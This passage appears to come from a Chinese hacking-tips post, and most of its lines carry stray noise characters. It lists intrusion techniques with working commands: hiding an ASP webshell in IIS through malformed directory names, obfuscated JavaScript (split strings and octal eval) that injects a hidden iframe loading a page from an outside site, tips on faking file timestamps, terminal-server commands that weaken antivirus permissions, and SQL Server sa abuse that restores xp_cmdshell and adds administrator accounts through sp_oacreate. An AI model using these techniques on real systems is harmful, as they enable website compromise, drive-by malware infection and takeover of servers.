2 \" T& |5 h# K4 T5 Z3 X0 _4 V执行后可以用AT命令查看新加的任务! a/ F# a. j. A) G% u0 l
用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。; ^( n, a, @; N a
& C7 ]; Q0 G$ {2 E. \, v
53、隐藏ASP后门的两种方法9 T8 T7 B h! j B
1、建立非标准目录:mkdir images..\
! ?1 n' C) R9 E( I拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
( v2 I' E8 O' a& z1 D通过web访问ASP木马:http://ip/images../news.asp?action=login
* N+ @1 p* y+ l$ F如何删除非标准目录:rmdir images..\ /s% p/ Q9 H. t; G [' w
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:8 T) s# d2 `, Y6 j M, a
mkdir programme.asp3 y! r. q# \# J$ o
新建1.txt文件内容:<!--#include file=”12.jpg”-->$ u Q2 z0 Y7 f! ^1 W2 f
新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
8 l5 ?% o6 @9 a, Y. F- |& G: }attrib +H +S programme.asp9 \( A- O6 E J* @9 S
通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt1 ^' q0 Z( I. J# J$ ^ e
F' ~, N p4 K- B4 V- W
54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。 H# x6 p$ o& G& c/ ?
然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。
+ o. M2 P/ |7 {; E1 z4 n3 {4 I/ \! h; A' B$ F/ H5 O$ c
55、JS隐蔽挂马
1 C" R% M1 b. f3 {1.) N- E. ~& d! ~7 m$ Q* Y& O; ]
var tr4c3="<iframe src=ht";
8 e4 |3 ^2 w4 q3 j/ mtr4c3 = tr4c3+"tp:/";
- C; b& o `# P$ _* U( {- `2 X ?tr4c3 = tr4c3+"/ww";: P; Q$ t7 m, Q. J
tr4c3 = tr4c3+"w.tr4";% [3 Z# Q2 s* V5 l& Z3 ^% l R6 U
tr4c3 = tr4c3+"c3.com/inc/m";
, n9 z6 M. s! I9 ltr4c3 = tr4c3+"m.htm style="display:none"></i"; N0 C; d6 h% R% Y# [! O4 e" D
tr4c3 =tr4c3+"frame>'";8 }' I: s$ j& I8 l
document.write(tr4c3);
: M* N2 P' v0 j" {; `避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
3 p* ~* F) P' Y9 L4 X0 C+ R# Q1 L; ]8 t
2.
: M) ?" G9 @$ G% O% Z转换进制,然后用EVAL执行。如
& q1 e% U: K! M+ N0 I# geval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");. a2 B/ d! |4 r# t5 _ P
不过这个有点显眼。$ V9 H6 q0 V, |! i. x' O7 s* w
3.
9 n$ S; U5 F: U, qdocument.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');8 I/ t q/ m- t2 Z8 F( R! ~ n
最后一点,别忘了把文件的时间也修改下。
% H' V& [& t, B
* d, b3 s) Z. m+ {" z Z c56.3389终端入侵常用DOS命令
! @# x7 v4 w3 D3 C- ntaskkill taskkill /PID 1248 /t
: r$ p3 b( @2 U: R$ i
" @ Q+ t( h, Otasklist 查进程) Y/ {! I3 r" W6 e
0 m7 F) i* e, d+ Wcacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限
# ?/ b! |6 M x; wiisreset /reboot
- G& Q& Q( n- P) c' v; a7 Itsshutdn /reboot /delay:1 重起服务器
" I: }8 K6 W8 d. o' e' t! `
, N9 @8 o, i8 M, t4 E4 P& klogoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,
: h9 o3 D3 b7 M% j" g
3 `7 a+ R3 v3 L, d dquery user 查看当前终端用户在线情况- w! ]2 ]8 f. J' v/ j9 [
* B, a. J& m8 L8 o
要显示有关所有会话使用的进程的信息,请键入:query process *
1 ?" w6 t4 s6 a; M |; ?2 m* r. H5 y5 X$ b, z! k: J
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2
2 x: {& L% K' U- F
8 ?* E" g5 ~3 v. v q要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
% S1 a7 v+ Q3 K9 k6 \- D
* `- ]' x; a5 d& P2 T9 }/ J. E要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02
2 T% I; y3 J( V3 _+ W6 Z& S% b
4 ?2 b* ]4 Z8 o4 I; u命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启
% P+ Y2 O6 C* w8 g/ |6 b
8 x$ F7 ?# Q+ o命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统, }! L% k, m- R, B# M! `, Q3 K% O
8 ^: T8 D' Y. F命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。
5 V9 l5 ]* c6 ^$ I
9 o' b/ X9 F3 O: j9 V9 ~$ e命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机9 d! @) c3 i) p4 y1 L1 g6 e
. w' q- i X; `56、在地址栏或按Ctrl+O,输入:0 d' T5 R0 f# M; T$ j
javascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;
8 s* B' W1 n0 y& n; _
) W4 u5 t, Q% z3 ?5 N+ B源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
: F3 L4 |4 t! T- Z" T* g- S+ M& d+ X
57、net user的时候,是不能显示加$的用户,但是如果不处理的话,, B1 a, Y- \* ], k$ q9 B
用net localgroup administrators是可以看到管理组下,加了$的用户的。+ @8 c# p: E$ r+ t9 ]0 |7 ]: x3 p
7 y; T5 F8 Q) P) n; J
58、 sa弱口令相关命令- x4 O0 q; f7 q/ f+ m( v
# ~% c9 y8 }6 N9 C0 i& F" S一.更改sa口令方法:3 y: w2 [3 X- ~0 e. {) t# r* d- P
用sql综合利用工具连接后,执行命令:
6 W$ x# K! F4 Pexec sp_password NULL,'20001001','sa'
/ F( _( F7 a- H(提示:慎用!)
, P" h: X5 \; m
: W) E1 a; i' H7 T7 Y二.简单修补sa弱口令.% @' q6 D% s1 b/ [
+ x: j& g; H7 T方法1:查询分离器连接后执行:
/ D/ @! M$ r# @ A+ g+ T2 tif exists (select * from
3 d8 [& \ e- S3 o3 @0 G" Ydbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
% n0 f8 R+ f2 G I9 lOBJECTPROPERTY(id, N'IsExtendedProc') = 1)
5 q* u- N$ ]/ c& y1 [
7 J9 ^% o$ ]. Aexec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
( t: ^ ?5 v' {: k1 o1 S0 R
& B8 W+ A! d- p0 C# \+ cGO* b/ x1 S) o# `: q
7 O: e' Y) n& I' r# e0 j# r
然后按F5键命令执行完毕2 R! N: _% l$ D" d; p
" G) p2 m' I: M8 n
方法2:查询分离器连接后
: Q$ d+ p. {5 P% b第一步执行:use master
& r$ ^7 r3 G* a第二步执行:sp_dropextendedproc 'xp_cmdshell'$ ~$ W" b J- M. ]: }3 o% M
然后按F5键命令执行完毕" ]$ T* B: l r# ]
" _; j% A( v4 z
( [" `# @0 `4 J' l3 b三.常见情况恢复执行xp_cmdshell.
, P) F: ?/ C. q' {
, `% E3 d! b) |! A
" m; I) {( t+ M# i$ ~1 未能找到存储过程'master..xpcmdshell'.
' x. y& v& }) Y 恢复方法:查询分离器连接后, Z- W" D, j: R0 h
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
! n* Z: D7 O9 P! C/ t' g第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll') [& N2 |( |$ Z4 L6 G8 F
然后按F5键命令执行完毕
' ^ f) u5 J# Y! r$ i
% d1 y6 F1 {4 @: q! W; l2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)+ ? V0 D! ?7 `
恢复方法:查询分离器连接后,
+ l1 d% U3 c5 I. H( ?第一步执行:sp_dropextendedproc "xp_cmdshell"
& w$ X6 H5 [# I$ r第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'* ~& ^( p2 @! H- [1 y2 H
然后按F5键命令执行完毕 Y3 {$ [( v9 l0 _" J
, h3 {4 z$ ~: V+ l- g1 k( z' R3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
8 ^! ~# H! f) {3 w% U @# V1 r恢复方法:查询分离器连接后," c' i' i0 U0 m- _
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
0 N% n* r0 O3 ~: S$ n第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
4 w. S' v) @6 y6 T$ u- t6 S然后按F5键命令执行完毕
/ h! n, ?- T; ]" v! v* I3 J/ j1 H6 C% E$ E7 s# W: ^
四.终极方法.
; a$ o& z8 \5 B/ n% y如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
) x3 V8 r R. q' b( \$ F2 T查询分离器连接后,
' C& n# D! U) E2000servser系统:2 w \$ Q \9 J% z5 m( V
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'
/ t t0 C4 }' \9 I. O
& Z K2 @ p5 C [declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'
. V& J2 n* O: n8 v, y$ ~
) k- K& L9 I$ A: m* L1 X: ]! j5 }6 gxp或2003server系统:
0 V+ k; w- S/ U9 p% t1 M6 n; o4 D" X3 W$ p6 _
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'- l6 o7 a- q2 ^2 W) V7 i# d
1 l/ V/ G: p. k* ^; R6 F
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'- l2 S2 o& B* g* A' V* `
|